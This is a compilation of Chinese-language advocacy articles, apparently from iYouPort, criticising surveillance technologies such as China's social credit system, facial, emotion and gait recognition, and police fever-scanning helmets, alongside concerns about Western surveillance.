⚠设计人员声称，该监视系统可以实时检测和识别成千上万的人脸或其他物体，并可以在拥挤的体育场馆等环境中即时定位特定目标。

⚠当然，在维稳抗议活动中也同样牛逼。

设计者建议，警察可以在上海市中心安置该摄像头系统并监视人群的活动，同时结合医疗记录和犯罪记录对捕捉到的人脸图像进行交叉检查。

北京解放军国防大学教授李大光对《环球时报》表示，该监视系统“很容易应用于国防、军事和公共安全[维稳]。”

⚠像这样的监控技术在已经实行全民社会信用评分体系的中共当局手中，对于隐私权和自由而言绝不是什么好兆头。

分析师萨曼莎•霍夫曼（Samantha Hoffman）表示：“党国拥有庞大的人物图像数据库，并具有将人物图像与目标真实身份联系起来的能力，因此，即使现在不然，像这样的技术在不久的将来也是很有可能的……

社会信用评分制度通过限制和禁止人们购买旅行票证，以惩罚不服从行为，⚠目前正在使用由2亿多个监控摄像头和其他跟踪工具组成的庞大网络来实施。

但是，5亿像素的“超级相机”将把监视功能提升到另一个全新的层次。

科学家指出，当前的监控摄像机也可以一次监视成千上万的人，但是像素很低，这意味着“您根本无法清楚地看到目标人”。

ASPI的 Hoffman 说，视频中的数据将“被放入一个数据池中，再结合AI处理，可以生成用于社会控制的强大工具，包括与社会信用评分相关的工具”。

面部识别技术是世界各地公民自由团体和立法者之间日益激烈的辩论的主题，更不用说在中国这样的以对公民进行根深蒂固的监视而闻名的国家中引发的隐私问题。

中国是世界上监控最严密的国家之一，估计有2亿个CCTV监控摄像机每时每刻监视着人们，这个数字到2020年预计将增长213%，达到6.26亿。在这里看到报告《美国和中国在监视公民方面引领全球》。

今年10月，北京政府宣布了扩大有争议的做法的计划，要建立一个全国超过3000万家公司的公司排名系统。

该算法的治理系统将以额外的特权奖励良好的行为，并限制那些分数较低的人出差或获得政府职位，该算法有望在明年正式推出。

配备了面部识别、人体扫描和地理跟踪技术的CCTV监视摄像机网络使实时监控成为可能。

不只是中国。

在其他地方，亚马逊和 Palantir 与美国政府机构的交易受到了审查；而英国高等法院最近裁定支持警察使用自动面部识别技术搜索人群。

同时，印度已邀请投标建立一个大型监视系统 ，以集中在全国范围内通过监视摄像机捕获的面部识别数据，并将其与国家犯罪数据库进行匹配。〇

China’s new 500-megapixel ‘super camera’ can instantly recognize you in a crowd

原文

监视操纵社会：中国尝试通过社会信用系统改变社会行为 - iYouPort

中国-半壁高堡奇人少数派报告

中国正在尝试通过社会信用系统改变社会行为。或者说，共产党不需要剑桥公司，他们可以自己完成操纵社会。

中国正雄心勃勃的尝试在 2020 年创建社会信用体系，根据行为给 14 亿人打分，奖励可信赖的人，惩罚失信人。官方声称有超过 700 万人列入了失信人名单，被禁止搭乘民航和高铁。

虽然国家级的社会信用体系尚未建成，但中国各级的省级市级地方政府已在进行数十个社会信用方面的实验。以苏州为例，该市给每个居民分配了分数，起点是 100，有加有减，捐血或从事志愿工作可以加分，违反法律、法规和社会规范则会扣分。

苏州表示信用体系的下一步将是惩罚犯过错的人，比如逃票、在游戏中作弊以及订了餐却没有去。公安建设的一体化联合作战系统则从多个来源或传感器收集信息，其中一个来源是 CCTV 探头，部分探头已具备面部识别和红外夜视功能；另一个来源是 wifi 嗅探器！

国家社会信用体系面临的一大挑战是整合多个数据库，帮助建造国家国家社会信用体系的上海财经大学教授 Hu Naihong 说，顶层设计、制度框架和关键文件都到位了，但仍然有很多问题需要解决。多个案例显示算法错误的将无辜的人加入到黑名单中。

本网在三年前就提醒过这件事，《又一个被漠视的深渊》，感谢墙外楼的转载。可惜直到如今，它依旧被中国社会漠视。

“社会信用评分”系统伤害到的很可能还不止个体，“灰暗记录”甚至能在一个人的社交关系网中被扩散，你的朋友的行为有可能影响到你的分数，相反也是，这相当于将原本就孤立无援的政治反对群体进一步推向了悬崖。你很可能无法实施鼓励抗争的社会动员，社运联盟的预期覆盖面严重缩水，或者因为网络上的政治立场表态影响到就业、求学和出境申请……甚至会遭到朋友同事的揭发举报，源于他们希望维

护自己的高分数，那将是难以预测的危机。

科技的发展成果原本是为能让人们的生活更舒适便利，然而当它被邪恶势力所利用的时候必将背离初衷，一切资源都被极权政府拿来维护其自身统治稳定了，尤其在当下，做为极权唯一合法性来源的经济增长开始动摇的时候，社会各种不安定因素跃跃欲试，当局只能通过加倍的维稳举措来予以应对。从国家局域网到纳税人识别号、从推行全面实名制到社会信用评分，民众不仅处于各种严密监控之下，同时还处于强力的信息封锁之中。

当你认为每一步下沉都可以用“无所谓＋至少还”句式得以自我安慰的时候，更严峻的深渊将告诉你：已经错失了扭转命运的机会。

China’s Social Credit System seeks to assign citizens scores, engineer social behaviour

Chinese authorities claim they have banned more than 7 million people deemed “untrustworthy” from boarding flights

China One source is CCTV cameras, some of which have facial recognition and infrared capabilities giving them “night vision”. Another source is “wifi sniffers”, which pool the unique identifying addresses of computers, smartphones and other networked devices.

原文

胡萝卜：中国当局大举奖励最顺从的公民 - iYouPort

关于中国社会少数派报告

距离行刑日还有一个月

「图」

「图」

中国已经提议给予社会信用评分高的公民一大堆优惠待遇，包括让他们优先获得搬到城市找工作的机会。

新华社援引中央政府的话说，“可靠的”公民可以期待享受快速通道服务，同时可以更方便地为孩子选择幼儿园、寻找护理院和申请专利。

这是胡萝卜。

在胡萝卜之前，北京将超过1300万名“不值得信任”的人列入了黑名单，禁止他们乘坐火车和飞机以作为惩罚。

中国的社会信用体系是北京主导的大型监视计划，由国家不断扩大的监控网络推动，该监控网络目前拥有2亿台人工智能摄像机。

IYP 自2015年开始一直在提醒警惕，最初的分析详见《又一个被漠视的深渊》。但是，近五年了，中国社会没有任何抵抗。

新华社说，该胡萝卜提案于7月份由中国国家发改委发布。

中国发改委是社会信用评分体系的监督机构。

这项全国大规模监视计划将于一个月正式完成并启动，根据每个人从财务记录到社交媒体活动的所有日常行为，对中国公民进行评级。

中国不断扩大的监控网络为此提供了最强大的支持 —— 该监视网络目前拥有2亿个面部识别摄像头。

该提案包括15项激励措施。

根据该文件，具有较高社会信用评分的人会优先被允许在城市定居。

搬到城市居住在西方人眼中有可能是很简单的事，不足以吸引人？并不是这样。因为中国有独特的户籍制度，将一个人的身份信息从家乡转移到新城市 —— 这个过程如果没有政府协助是无法做到的。

那些没有正式“定居”城市的人面临着回到家乡处理一大堆繁琐的行政事务的麻烦。

根据该提案，那些“值得信赖”的人如果想成为公务员，并且他们拥有与竞争对手相同的经验和资格，那么他们就可以更容易被聘用，而不是其他人。

在申请抵押贷款或其他金融服务时，“信用评分”高的人也将获得“绿色通道”。

中国发改委表示，在通过媒体发布该提案后，他们正在寻求社会的反馈。

这是中国当局公布社会信用评分体系以来第一次发送胡萝卜。

「图」

「图」

被社会信用评分体系列为“不值得信赖”的中国公民甚至面临着乘坐高速列车的限制。相反，他们将不得不使用慢速列车。

此前，政府已宣布了一系列惩罚措施，包括限制使用高速列车、飞机以及禁止离开该国。

根据国家发改委公布的数据，截至3月份，中国有1349万人被列为“不值得信赖”。

当局已经阻止超过 2047 万次购买机票的尝试、和超过571万次购买高速火车票的尝试。

今年早些时候，一位名叫 Michelle Ye Xuan 的中国女演员成为了第一个受到该制度惩罚的知名人士。

这位39岁的女演员和前国际选美女王因拒绝遵守法院命令而被视为“不值得信赖”后被禁止出境。

在美国长大的 Ye 在二月份即将在北京登机时才发现对她的旅行限制。

这个社会信用评分得到了一个全国性的数据库的支持，该数据库跟踪和评估该国14亿人口的活动，曾经主要是在金融和法律领域。

而现在，你不可能知道全部领域都在哪。更多详见《“深夜上网”都会降低你的“社会信用评分”？无人能摆脱这种强制性监视》。

中国已经有了两亿台人工智能监视摄像机支持这个大规模的监控网络；两年内摄像机的数量将升至三倍。

中国的监控网络被称为世界上最强大的面部识别系统之一，旨在在三秒内识别其14亿公民中的任何一个。

这是政府侵犯公民隐私权和限制一切自由的基本方式。

发改委称，截至2019年3月，约有359万违约者已经偿还了4.4亿元人民币的债务。

仅在**2018**年一年内，就有近**360**万人被国家的社会信用监管机构所惩罚。

一个月后，这个数字有可能增加到数十倍甚至……○

⚠⚠没时间了！抵御社会信用评分，这里是您现在唯一能做的事，详见《保护措施完整版》。我们知道，并非所有人都能简单地做到这点，但如果能做到的人中有您，您就是希望。

China’s social credit system plans to give high scorers priorities to move to cities and find jobs—after banning swathes of ‘untrustworthy’ ones from taking trains and planes

原文

西方社会距离中国式的”社会信用体系”监控还有多远？ - iyouport

少数派报告

【2019年5月23日存档】已经非常近了……

到目前为止，中国自2014年以来计划实施的社会信用体系（SCS）在全球范围内已经广为人知。它无疑是一个奥威尔式的反乌托邦制度，进一步侵蚀了中国公民的隐私权。

在中国政府擅长的极权主义和权利侵犯政策的基础上，社会信用体系将涵盖许多公民生活的方方面面。从交通和教育到食品和医药，一切都将根据社会信用进行控制。

如果你认为西方世界距离采取与中国的 SCC 类似的控制社会措施还有几英里远，那么你就错了，事实上这一病毒已经近在眼前，其政治正确性正在侵蚀言论自由和个人自由的概念。美国已经受到了污染。

在西方，有许多出于政治动机的抵制，其中将某些观点妖魔化为不正确或“坏的”。政府开始根据政治言论和其他相关变量评估公民的社会功能和利益，已经很容易想象。

事实上这件事已经开始了，详见来自独立媒体的揭露关于美国版信用评分《”帮派数据库”是什么？为什么据此就可以直接给无辜的市民定下重罪？》

这种转变的基础已经存在。许多科技公司和监控技术公司正在拼命收集有关公民的各种私密数据、他们在互联网上的活动等等。 VPN 提供商努力维持在线领域的自由，但威胁仍然存在。

2016年的剑桥分析公司事件在集体心态中仍然清晰可见，它显示了一个严峻的事实。收集的数据可被用于在特定方向上转移和引导某些观点—— 政治操纵。

在这种情况下，改变整个人口的社会或政治观念基本是轻而易举的。

详见：《定制人将终结民主》

中国正在慢慢建立在人类历史上最完整的监视国家形式之上。在过去的5年里，该国一直在公开地这样做。该项目的最后期限估计是2020年，也就是明年，届时整个中国的基础设施和社会将完全与社会信用体系纠缠在一起。

西方必须努力保护个人自由和基本隐私权。这是我们反对国家威权主义的唯一真正有效的政治和社会保护。

毫无疑问，中国的社会信用实验已经显示了我们不喜欢的惩罚性言论的滑坡。通过压制我们不同意的人，我们已经开创了一个先例，其他人肯定会用此来使我们沉默。

目前为止中国还没有全国一致的社会信用体系，但地方政府正在实施自己的版本。此外，Zhima Credit 等公司也提出了非官方的私人版本。

臭名昭著的黑名单就是SCS的核心，已成为许多西方新闻台的头条新闻。这是一个列表，显示所有“表现不好”或违反任何规则的公民。这些人被禁止购买房产、贷款、甚至无法乘坐大众交通工具比如火车。

中国的社会信用体系带有一种新的威权主义的标志，儿戏般的使用技术构建危险的新时代暴政。数字时代显然正在促进社会制度的黑死病。

如果说SCS背后的整个想法看起来像科幻作家那种牵强附会的未来主义和反乌托邦主义思想，那么它已经实现了。现在所有人正在目睹它的制作。西方显然会在此受到这种或那种方式的影响。

How China’s Social Credit System Will Erode Privacy in the West. If you think the Western world is miles apart from taking measures even remotely similar to the SCC in China, then you’re dead wrong. The infectious germs are already in place with the political correctness that’s eroding the very concept of freedom of speech, and individual liberty. America is polluted by it.

原文

"十年"的阴谋 - iYouPort

关于Facebook-这不只是一家公司生物识别-眼下最严重的威胁，以及怎么办

前段时间看到很多中国用户在社交网络上晒自己的“脸书十年”，深感恐惧。

如果你一月份时一直在社交媒体上，你就会受到那个叫做“十年挑战”的影响，这是把人们10年前张贴的自己的照片与当前照片进行比较的游戏。

像大多数社交媒体的所谓“挑战”一样，它根本不是一个“挑战”，而是一个非常危险的骗局—— 所有这些数据被收集并可以被用来训练面部识别算法以针对年龄识别的技术。

《连线》杂志（Wired）的撰稿人、科技专栏作家凯特·奥尼尔（Kate O ‘Neill）发布推文指出了这点。引起了很多用户的共鸣。

如果你想训练一个关于年龄特征和年龄进展的面部识别算法，你会想要很多人的照片，你会想知道他们在不同年龄段的面部特征差异—10年就是一个标准。

奥尼尔提出了一个有说服力和客观的观点：由于这个挑战游戏，背后会有一个非常大的数据集，精心挑选了大约10年前和现在的人的照片，以做对比。

有些人认为这个挑战中会出现太多无用的数据。但是奥尼尔认为一家将这些数据用于恶意目的的公司会知道你应该更加信任早期趋势中的数据的有效性。到目前为止，算法已经足够智能，可以将人脸与meme分开，就像区分猫和狗的照片一样。

当然，信息被用于恶意目的的想法尚未得到证实，但奥尼尔指出：“人类对于世界上大多数技术来说是最富有的数据来源”。

详见：《"你曾经在社交网络上发布过自己的照片？你危险了！"》

随着这些数据向下游流动并与我们的位置跟踪、响应和购买行为以及其他数据相结合，它就可能会带来一些真正令人毛骨悚然的跟踪结果。有朝一日，年龄增长可能会影响保险评估和医疗保健权利。例如，如果你看起来比你的同龄人老得更快，也许保险公司就会对你“另眼相看”。您可能需要支付更多费用甚至被拒绝承保。

在亚马逊于2016年底推出实时面部识别服务后，他们开始将这些服务出售给执法部门和政府机构，例如奥兰多的警察局和俄勒冈州的华盛顿县。但该技术引发了主要的隐私问题，警方不仅可以利用这项技术追踪嫌疑人，还可以追查未被确定为犯罪的人，例如人权活动家、抗议者和警察认为“有害”的任何人。

美国公民自由联盟要求亚马逊停止销售这项服务。亚马逊的一部分股东和员工也是如此，他们要求亚马逊停止服务，理由是担心公司的估值和声誉。

很难准确说清技术如何全面影响人类。我们有机会让它变得更好，但要做到这一点，我们也必须认识到它可能变得更糟的一些趋势。一旦我们理解了这些问题，所有人都应该权衡。

无论这种 meme 背后的起源或意图如何，我们都必须更加了解我们创建和分享的数据，我们授予它的访问权限以及对其使用的影响。如果 Facebook 的这个游戏明确表示它正在为年龄进展研究收集当时和现在的照片，您可以选择参与，了解谁应该访问照片以及出于何种目的。

Is Facebook’s “10 Year Challenge” A Ploy To Teach Facial Recognition Algorithms. If you wanted to train a facial recognition algorithm on age related characteristics and age progression, you would want a lot of people’s photos and you would want to know that they were all taken a fixed number of years apart—10 years, in this case.

原文

不要脸时代最大的危机是什么？ - iYouPort

生物识别-眼下最严重的威胁，以及怎么办

你的脸究竟属于谁？

「图」

「图」

你的脸究竟属于谁？这个问题咋听起来很荒谬—— 当然你拥有它，毕竟它长在你脑袋上。但是在如今这个时代，你的脸属于很多人，包含：数据经纪人、政府、警察、广告商、中间商、和科技公司等等，用于在照片中标记您、将您与所谓的犯罪活动记录相匹配、销售有关您的信息、或者教授神经网络如何优化面部识别技术本身。

「图」

「图」

我们中很多人只是毫无戒备地在社交媒体上晒脸，使用像 Snapchat 和 Instagram 这样的应用程序；Apple 的 Face ID 等功能的便利性，使用面部识别登录和支付交易，那些贪图便利的人们对此完全没有抵抗力。

但是，如果您认为避免使用最新的 iPhone 和应用程序会让您远离这些数据抢劫犯的话，那么您肯定是在骗自己。

根据 2014 年的估计，就已经至少有 4000 万台监控摄像机每周在美国拍摄数十亿小时的镜头。许多城市希望通过在公园、十字路口和人行道上安装监视摄像机，有些城市中很多摄像机是由警察操作的。

法律甚至不要求纽约、华盛顿、芝加哥、奥兰多和洛杉矶 等城市披露监控程度或使用方式，也没有可强制执行的规则来限制侵犯隐私或防止滥用监控系统。

有些相机配备了实时面部识别技术，甚至可以识别移动的目标。此

外，世界各地的机场都开始将面部识别技术整合到登记过程以及一般的监控系统中，因此您甚至在走进大门之前就已经被识别。你还可能会在参加音乐会时被扫描，因为歌手的安全团队会搜索人群中的危险人物。

所有这些都意味着我们的脸可以在我们完全不知情的情况下被记录并用于远程监控，检查驾驶执照照片和面部照片的数据库以及从互联网上拍摄的照片，这些照片可以与社交媒体帐户、网站配置文件或其他识别性信息相关联。有些人可能会想，“好吧，我没有做错任何事，所以它不会影响我”……不幸的是，这是完全错误的。

看这个视频：

当 Apple 推出面向 iPhone X 的 Face ID 时，该公司声称随机人员可以解锁受保护设备的机会仅为“百万分之一”（相比之前基于指纹的 Touch ID 技术的 50,000 分之一）。在您的脸上投射超过 30,000 个隐形点，以创建详细的面部贴图，并将这些数据存储在手机内的“Secure Enclave”中。苹果还表示，“没有”印刷的照片、或高端面罩的视频可能会击败系统。但事实证明，这完全是撒谎。越南安全公司 Bkaev 用 3D打印的塑料、硅胶、化妆品和纸质切口复合面罩就破解了 Face ID。与此同时，福布斯使用3D打印的塑料脑袋打开了四款不同的安卓手机。

视频：

[[

|https://web.archive.org/web/20210816204622/https://youtu.be/BU9YAHigNx8]]除了简单地获取您的设备之外，攻击者还可以窃取您的整个面部，并将其用于各种恶意目的，而不仅仅是通过制作3D打印面具并在犯罪时佩戴它。使用现成的软件来模仿其他人，制作令人信服的视频并不像看起来那么难，它是非常容易的。像上面的巴拉克奥巴马的假视频这样的假货其含义显而易见。随着技术的完善，这种造假可能越来越难以被发现。

关于这点，详细报告：《当恶意者掌握技术，信息战的未来有多可怕》

面部识别技术不是概念性的、理论性的或远未来的。它就是眼皮底下的威胁。在中国，它已经深深扎根于政府控制民众的计划中。

2亿台公共监控摄像机旨在实现无处不在、完全联网、且完全可控的全国范围的面部识别系统，与2020年的手机信号和数字金融交易相结合，以跟踪市民的一举一动。

到实施时，它还将包括国家强制性的所谓“社会信用”评级，并且，其他国家肯定会效仿他们的榜样，事实上许多国家都在计划干这种事。

甚至参与创建面部识别技术的人也在发出警报。Kairos 公司的首席执行官 Brian Brackeen 希望科技公司联合起来，使这项技术不被执法部门全面控制。他说：“时间正在逐渐缩短，但现在让人们采取行动以防止这种情况的发生还为时不晚。”

Who Owns Your Face? Welcome to a New World of Hacking Headaches: Far beyond simply gaining access to your devices, hackers can steal your entire face and use it for all sorts of nefarious purposes, and not just by producing a 3D-printed mask of your countenance and wearing it while committing crimes.

原文

中国、迪拜和意大利的警察正在使用这些监视偷窥扫描路径的任何人 - iyouport

COVID-19(84)作恶者：中国在帮谁公私监控伙伴关系生物识别-眼下最严重的威胁，以及怎么办

【2020年10月20日存档】您真的相信当权者关心的只有体温吗？

【题外】Aldous Huxley 的著名反乌托邦小说《Brave New World》已经被改编为电视剧，NBC环球出品，中国已经可以观看，中译 “美丽新世界”。

该视频以某种有些凶险的音乐开始。

左边是一个一动不动的警察，脸被一个大号的头盔遮住，头盔上面安装了一个摄像头。右边是该头盔本身拍摄的实时画面，显示的是戴着口罩四处走动的人们。当人们走动时，头顶上会显示一个数字 —— 他们的实时体温，由头盔的红外摄像机拍摄。

这是一段 YouTube 视频（如下），是 KC Wearable 公司的商品广告，**KC Wearable** 是众多中国公司之一，该公司推崇 “未来的” 监控技术，声称追踪 COVID-19 的爆发。

该公司生产的 KC N901 智能头盔配备了ARM处理器、增强现实显示屏、红外摄像头、和可见光摄像头。根据 Business Insider 看到的设备规格，佩戴者可以检测到两米左右范围内路人的温度，准确度达到0.3摄氏度以内。

📌 戴着这种头盔的警察可以做以下任何一项工作：

- 测量特定个人的体温；
- 测量在较大人群中经过的目标人的体温；
- 扫描一个人的二维码以获取所有个人数据；
- 识别车牌；
- 在黑暗中发现任何人；

- 使用面部识别技术识别任何人。

该公司表示，捕获的任何信息都存储在头盔本身中。

据 KC Wearable 公司的全球负责人 Jie Guo 的介绍，中国各地已经有**1000**多顶这种头盔在使用。

她说，一个未透露姓名的国家已经订购了数百个这样的头盔，更多的国际交易即将到来。这些头盔的单价在 5000 美元到 7000 美元之间。

- 推荐这份报道《他们将中国视为榜样：泄露文件揭示政府间谍机构如何利用冠状病毒推动大规模监视的内幕》

她补充说，客户在早期就下了样品订单，测试了设备，然后下了更大的订单。

该公司表示，已经将这种头盔送往意大利卡宾军警和荷兰政府进行测试。在迪拜，警方也在使用该设备。A police officer wears a smart helmet as he uses it to test the temperature of workers during the outbreak of the coronavirus disease (COVID-19) in Dubai, United Arab Emirates April 23, 2020. REUTERS/Ahmed Jadallah

Business Insider 联系了意大利大使馆和荷兰政府征求意见。双方都没有回应，但 Reddit 上的一位意大利用户发现，本月在米兰大教堂外有一名武装警卫戴着这种头盔。Italian police using KC Wearable's smart helmets in Milan. Reddit

当被问及头盔的体温扫描准确度时，Guo 表示准确度为 “96%”，并称该公司进行了大量测试。

Guo 说，“政府当局和一些私人买家都在使用这种头盔。 在中国，当地的警察、护士、保安和地铁站的检查点的工作人员都在使用这种头盔。”

她还说，这些监视设备很灵活。“在很多地方，监视者使用的是固定的红外摄像机，但我们的头盔可以有更高的灵活性、适应性 —— 它可以戴在身上，也可以放在三脚架上。”

如果处于温度扫描模式下的头盔检测到附近有人发烧，就会响起警报。

这东西真的有效吗

「图」

专家们对体温扫描的实用性表示怀疑。

英国班戈大学的 Davey Jones 教授领导了一个 COVID-19 传播的研究项目，他指出，冠状病毒在钻石公主号游轮上传播时，反应失误，感染了约 700人，造成8人死亡。

“至少有**25%**的 **[**船**]** 民没有任何症状，所以显然他们没有可疑的体温显示”，他说。”所以你最终错过了这些人中的很大一部分，他们仍然在传播病毒。”

Jones 教授补充说，人们可能因为一些其他原因而出现体温升高，例如 经历更年期。“这导致了一大堆假阳性，” 他说。

埃克塞特大学热成像专家、医学博士 Chris Wright 说，”如果做得正确”，温度扫描可能是有用的。

他说，测量某人体温的最精确方法是通过眼睛的内角。

“被测试的人需要正视摄像头，因为读数会受到角度的影响，”他通过电子邮件告诉BI。“另外，距离也是关键。太近了，读数会受到摄像机操作者的过度影响，如果太远了，灵敏度就会下降。”

Wright 博士补充说，为了在临床环境中进行扫描，你需要一台高分辨率的摄像机。他指出了他使用的一个例子，一个FLIR设备，它的分辨率为 640 x 480。相比之下，智能头盔的红外相机分辨率仅为 384 x 288。

他认为，这种设备只要使用高分辨率的摄像头，就可以在机场、超市，甚至医生手术室的入口处发挥作用。

Wright 博士说，这个想法以前就有人提出过，他指出，在亚洲爆发SARS期间，机场使用了热扫描，但有人质疑这是否有效。

Eurosurveillance 在2月发表的一项研究得出结论。“机场筛查不太可能检测到足够比例的 **2019-nCoV [**冠状病毒**]** 感染旅客，更不用说避免受感染旅客入境了。”

“它可以识别一些高体温病例，但灵敏度会很差。” Wright 博士提醒

说。

还有关于谁应该戴这些头盔的问题，以及一旦触发警报该怎么办的问题。

Wright 博士说，”显然，作为一名警察，如果你需要逮捕某人，距离是个问题，但千万不要不戴口罩和手套。难道真的要靠警察来识别发烧的人吗？”

虽然新加坡和中国等国家已经部署了从机器狗到无人机间谍等一切监控人口的手段，但欧洲的大多数公民还不习惯以这种方式被追踪。

- 推荐《#COVID-19(84)冠状病毒如何让整个地球变成了反乌托邦地狱—包括但并仅仅是中国：长篇报告》

Guo 轻描淡写，她认为，“正常生活会有一些改变”。

“我认为我们可能需要对我们的生活进行一些[短期]调整，不仅是为了保护自己，也是为了保护他人的生命，” 她说。“不是一个人的责任，而是每个人的责任。保护我们自己，也保护他人” ……

- 推荐分析—《冠状病毒危机究竟是否能够结束？：威权主义的权衡》

【注意】这篇报道主要分析了体温监测的有效性问题，虽然在文章开头它指出了该头盔不止有监测体温这一项功能，还包括以下这些：

- 扫描一个人的二维码以获取所有个人数据；
- 识别车牌；
- 在黑暗中发现任何人；
- 使用面部识别技术识别任何人。

那么，您真的相信当权者关心的只有体温吗？〇

Police in China, Dubai, and Italy are using these surveillance helmets to scan people for COVID-19 fever as they walk past and it may be our future normal

原文

中国公司正在联合国制定全球面部识别标准，这意味着什么？ - iyouport

中国-半壁高堡奇人生物识别-眼下最严重的威胁，以及怎么办

【2020年7月2日存档】提议的标准甚至包括针对用例的建议

A Chinese flag flies near a Hikvision security camera monitoring a traffic intersection in Beijing, Tuesday, Oct. 8, 2019. The United States is blacklisting a group of Chinese tech companies that develop facial recognition and other artificial intelligence technology that the U.S. says is being used to repress China's Muslim minority groups. (AP Photo/ Mark Schiefelbein)

尽管人们对人脸识别技术的准确性和公平性以及政府如何使用它来监视公民一举一动的危险性而感到担忧，但它的使用范围仍在快速扩大。

金融时报的一份报告显示，中国公司在制定有关该技术的国际标准方面具有重要影响力，这导致担忧已经加剧。

该报告详细介绍了中兴通讯、大华和中国电信等中国公司如何向联合国国际电信联盟（ITU）提出有关面部识别标准的建议。ITU 是负责电信行业全球技术标准的机构。

通常，国际电联制定的标准本质上是技术性的，但是人权倡导者说，在这种情况下正在讨论的提案更像是政策建议。

⚠ 提议的标准甚至包括针对用例的建议 —— 建议警察可以使用面部识别在人群中发现特定目标、雇主可以使用面部识别来监视员工……

令人担忧的是，该技术标准将被发展中国家采用，尤其是那些缺乏资源来制定自己的标准的非洲国家。

这使中国有能力控制技术市场。

例如，中兴通讯和中国移动于去年6月提出了一项智能路灯标准，该标准反映了中兴通讯的智能路灯产品设计，包括：在路灯柱上添加视频监控功能的选项。

- 《路灯间谍》

在香港，类似的技术已经被用来镇压民主抗议者。

- 《香港的抗议活动中再次强调了你的脸如何成为武器》

中国是面部识别世界的主要大国，该技术已被中国被执法部门广泛使用，并用于监视公租房项目。

- 《中国面部识别巨人崛起的背后》

这导致了对侵犯人权的指控 —— 面部识别被用来监测少数民族，这是新疆对穆斯林少数民族的持续镇压的一部分。

中国手机强制实施面部识别

「图」

中国要求所有新手机用户都必须提交面部扫描的要求已经生效。国际批评家称此举是“唤醒世界各地人们的警钟”。

中国工信部宣布了新规定，声称“保护公民在网络空间中的权益和防止欺诈”，强行收集所有人的生物识别数据。新的面部扫描要求已经于去年生效。

这是一种侵入性的监视形式，这种技术也在美国的执法用途中被广泛普及。

面部识别是监视的独特危险形式。它使政府能够对整个人口进行侵入性和无处不在的监控，非营利性数字权利倡导组织“为未来而战”的副主任 Evan Greer 说。

“没有证据表明这种技术可以改善公共安全，但它绝对是专制政权控制全社会的理想选择，”

Greer 说，尽管西方人感觉使用生物识别监视技术很“诱人”，并且可以方便地“指着中国”，但现实是，面部监视程序也在美国和欧洲迅速传播。”

- 《美国和中国在监视公民方面引领全球》

华盛顿邮报于去年7月份进行的一项调查显示，美国移民和海关执法人员使用面部识别技术通过州驾驶执照数据库进行搜捕。

同样在7月，一份基于英国的报告发现，被伦敦市警察局使用面部识别技术标记的嫌疑人中有80%是无辜的。

Greer 和为未来而战组织提倡彻底禁止出于监视目的的面部识别技术。

“中国对这项技术的实施应该是为世界各地敲响的警钟。”

“面部扫描技术的警察专用监视摄像机在我们的街道上不应该存在”，北加州美国公民自由联盟的技术和公民自由律师在声明中说。

而中美的民族主义竞争中，欧洲的监视技术公司正在努力将他们的技术输出到中国。具体报道：《欧洲对面部识别和其他中国技术的兴趣正在填补美国缺席的深圳展会》。〇

Chinese companies want to help shape global facial recognition standards

Critics call China’s mandatory facial recognition tech in cellphones a ‘wake up call’

原文

中国的少数派报告技术又有了新发展 - iyouport

中国-半壁高堡奇人生物识别-眼下最严重的威胁，以及怎么办

【2020年4月7日存档】当局希望通过针对少数民族的实践中汲取监视能力方面的“灵感” —— 然后就可以更有效地针对所有人。

中国目前正在测试据称能够检测人们情绪的监视系统。

虽然并不令人感到意外，而且其基础技术并不像广告宣传中所描述的那样运作良好，但是，中国政府已经开始在中国西部推广这种技术。

中国的智能城市理念显然还包括安装在公共场所的 “情感识别” 硬件。

- 《所谓的 “智能城市” 剥夺了哪些人权？》

最近在中国深圳举行的一个监视技术博览会上，该国希望在机场、地铁和购物中心安装各种监视系统，声称 “帮助识别罪犯”。

参与的公司包括百度和华为，后者已接近从美国的贸易禁令中获得缓和。

- 《技术超级碗CES正在帮助中国监视公司清理形象》

所有这些都是在该地区寻求更高级监视的广泛努力的一部分，因为中国希望最终能够使用机器学习来 “预测犯罪”。

关于所谓的预测犯罪，也就是少数派报告监视系统 —— 中国的 “社会信用评分” 就是超级少数派报告监视系统，但它不是中国的专属，而是全球很多国家的热门追求：

- 《“未来是一项方程式”—少数派报告的威胁不是这两年才有的新事物》

- 《数十个城市实验了”少数派报告”中描述的技术》
- 《中国推出”超级监控摄像机”辅助社会信用评分》
- 《“社会信用”监视：英国、中国、美国和日本》

就像海康威视、Sensetime 和 iFlytek 这样的公司已经抓住了这个机会。

据英国《金融时报》报道，这种情绪识别技术目前正在新疆部署，该地区是在大型拘留营中关押了超过一百万穆斯林的地方。

新疆似乎是中国当局测试其监视系统（尤其是面部扫描技术）最喜欢针对的地点。

- 《开源调查图解新疆”再教育”营》
- 《维族妇女对战中国的监视国家》

来自新疆的警务专家 Li Xiaoyu 称，“通过视频录像、情绪识别，可以通过分析犯罪嫌疑人的心理状态来快速识别犯罪嫌疑人，以防止包括恐怖主义和走私在内的非法行为。”

但是，你知道，当局会视什么为 “非法” 。

安全专家对技术准确检测人类情绪的能力表示怀疑。

ACLU 高级政策分析师 Jay Stanley 说：“关于情感识别的科学是很虚假的”，并且一些研究表明，将情感状态与面部表情正确地联系起来是困难的，即使不是不可能的话。

好消息是，特别是对中国公民而言，新的监视技术尚未准备好进行大规模生产，被称为 “噱头”。

像微软、谷歌和亚马逊这样的公司都在开发自己的面部识别系统。

- 《亚马逊帮助警方构建了一个广泛的监控网络》

这不是中国首次采取有争议的行动来加强对公民的监视。

该国还一直在测试步态识别功能，甚至还建立了社会信用监视体系和一个可绘制“债务人”地图的应用程序，因此那些人可以被其他人公开羞辱。

当今全球的监视水平都在极速上升，这是急需警惕的问题。在下面看

到详细报告：

- 《铁幕之下：全球反抗者如何对战监视者？》

○□

原文

中国的步态识别监视正式铺设："受美国的启发" - iYouPort

中国-半壁高堡奇人关于高堡奇人生物识别-眼下最严重的威胁，以及怎么办

装瘸没有用……

你走路的姿势可以告诉老大哥很多事。

中国人工智能初创公司 Watrix 表示，它的软件可以识别50米开外的人—即使他们已经遮住了脸、或者背对着摄像机走路。

被称为步态识别的监视技术通过分析关于人的步行的数千个度量，从身体轮廓到手臂运动的角度到内八字或外八字姿势，然后建立数据库来工作。

Watrix 的联合创始人兼首席执行官 Huang Yongzhen 在北京接受采访时说，他们的技术不需要脸部数据。他说像这样的特征让 Watrix 在监视识别方面具有特别的优势，因为人们无法避开这样的监视。

Huang 说，北京、上海和重庆街头的警察已经开始进行步态识别技术试验了，该公司3月正式推出了2.0版本，支持分析大城市级别的实时摄像头。

